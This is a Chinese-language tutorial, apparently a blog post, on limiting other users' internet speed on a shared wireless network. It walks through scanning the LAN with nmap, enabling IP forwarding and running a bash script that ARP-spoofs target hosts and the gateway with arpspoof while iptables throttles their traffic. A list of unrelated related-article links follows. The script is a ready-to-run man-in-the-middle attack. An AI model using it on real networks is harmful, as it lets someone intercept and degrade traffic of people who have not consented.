为了限制无线路由器上大家的上网速度,减少p2p工具的影响

可以通过arp欺骗和iptables来限制局域网的上网速度

操作系统:ubuntu

1)sudo apt-get install dsniff nmap

2)探测局域网主机的ip地址

sudo nmap -sS 网关ip/24

在此例中:

192.168.1.100           为要限速的主机

192.168.1.1                为网关地址

3)打开 内核的 IP 转发,让我们的主机成为路由器

echo 1 > /proc/sys/net/ipv4/ip_forward

4)使用 iptables和arpspoof进行 限速! 脚本如下

使用方式:

sudo  ./iptable.sh  要限的速度(30为40k/s) 网关ip  限速主机1  限速主机2

#!/bin/bash

if [ $# -le 2 ]

then

echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...."

exit -1

else

speed=$1

gateway=$2

fi

IPT=/sbin/iptables

while [ $# -gt 2 ]

do

shift

echo $gateway,$2

arpspoof -i eth0 -t $2 $gateway&

arpspoof -i eth0 -t $gateway $2&

$IPT -A FORWARD -s $2 -m limit --limit ${speed}/s -j ACCEPT

$IPT -A FORWARD -d $2 -m limit --limit ${speed}/s -j ACCEPT

$IPT -A FORWARD -s $2 -j DROP

$IPT -A FORWARD -d $2 -j DROP

done

linux 限制网速 ip,linux轻松限制局域网网速相关推荐

  1. 教你如何轻松测试局域网网速

    2008-2-18     作者:        编辑:静娴   点击进入论坛 关键词: 测试软件   局域网 又有人反应网速慢,访问外网慢不说,访问文件服务器上的资料速度也慢.对于网络管理员来说,听 ...

  2. linux轻松限制局域网网速

    2019独角兽企业重金招聘Python工程师标准>>> 为了限制无线路由器上大家的上网速度,减少p2p工具的影响 可以通过arp欺骗和iptables来限制局域网的上网速度 操作系统 ...

  3. linux设置屏蔽海外ip,linux屏蔽海外流量的两种方法

    导读 作为一名维护生产环境Linux服务器的系统管理员,在有些情况下,你需要根据地理位置,有选择性地阻止或允许网络流量.那么教你两种屏蔽海外流量的方法. 方法一:使用大神的开源脚本,屏蔽指定国家地区的 ...

  4. linux 双网卡浮动ip,Linux 双网卡绑定一个IP原理及实现

    我们在这介绍的Linux双网卡绑定实现就是使用两块网卡虚拟成为一块网卡,这个聚合起来的设备看起来是一个单独的以太网接口设备,通俗点讲就是两块网卡具有相同的IP地址而并行链接聚合成一个逻辑链路工作.其实 ...

  5. linux c 获取网关ip,linux sh 如何根据出口网关来获取本机出口ip

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 测试机器:华为P7-L07 安卓测试环境:EMUI 3.1 安卓5.1.1(版本号:P7-L07C01B851,基带版本:23.600.06.00.00, ...

  6. linux执行脚本查找ip,linux 查看ip、用户、时间对应执行的命令

    这个需要使用到history命令.可以加数字,返回最近执行的几条命令.如果不加数字会返回所有的历史命令. [[email protected] ~]# history 20 1015rm stdin. ...

  7. linux nfs 多个ip,linux基础之NFS

    一.NFS简介 NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源. 在NFS的应用中,本地N ...

  8. linux下配置ipmi ip,Linux下使用命令行配置IPMI

    前段时间,为了方便遥远的另一边干嘛干嘛的,单位部署了IPMI. 我好动,所以就把一些IPMI的操作记了下来,当做日记记了下来.这也是我第一次写关于工作的博文呢,真不习惯啊.也发现了,都不会写东西了,O ...

  9. linux c语言设置ip,linux 下用指令和C语言来设置IP,MASK,gateway

    linux用指令来设置IP,MASK,GATEWAY: //终端指令实现 //ifconfig eth0 192.168.0.0 netmask 255.255.0.0 //route add def ...

最新文章

  1. hibernate整合进spring后的事务处理
  2. 【Groovy】Groovy 方法调用 ( 使用 对象名.@成员名 访问 Groovy 对象成员 )
  3. PAT甲级1121 Damn Single :[C++题解]哈希表、结构体
  4. 一步步编写操作系统 60 cpu的IO特权级2 什么是驱动程序
  5. java字段注解类型数组_Java注解用法
  6. 的pcie带宽_新品推荐:乐扩PCIe四路SDI高清采集卡
  7. vue+element-ui 实现table单元格点击编辑,并且按上下左右键单元格之间切换
  8. c语言万年历的原理,[原创] C语言实现:万年历(1)
  9. 232转485通讯测试软件,(DIY制作)多功能调试工具——实现USB转:485/232/NRF24L01等(原理图和程序)...
  10. u盘需要计算机管理权限,u易u盘需要管理员权限的文件怎么删除
  11. php 繁体自动转简体,php 繁体字转化为简体字
  12. 通用计算机指令,计算机移位指令
  13. Vue / axios / props 调用后端接口数据并渲染到页面
  14. 使用win10自带录屏软件录制视频
  15. 深圳云计算培训:新手学习云计算的规划
  16. 微信公众号课程预约系统的功能需求分析
  17. 102-并发编程详解(中篇)
  18. ES6简介、新特性、Babel编译器、babel-cli工具、babel-polyfill工具(安装和使用)
  19. SSM+小程序知识点,防入坑!!!
  20. 人工智能历史上的重要一步:ChatGPT影响到谷歌地位?

热门文章

  1. 学习目标检测YOLO系列1--机器学习基础知识储备
  2. Android与iOS的区别
  3. [vue-demo]实时时间转换 v-time
  4. 关于使用elementUI DateTimePicker组件报错[Vue warn]: Avoid mutating a prop directly since the value will be
  5. 不贩卖焦虑,关于ChatGPT的思想实验
  6. html5 标签位置设置,i标签教程
  7. Final IK⭐五、FinalIK做布娃娃动画的过程
  8. (第十八集)前端开发之js
  9. 博世BMI088官方代码库解析
  10. 阿里巴巴和淘宝的校园应聘经历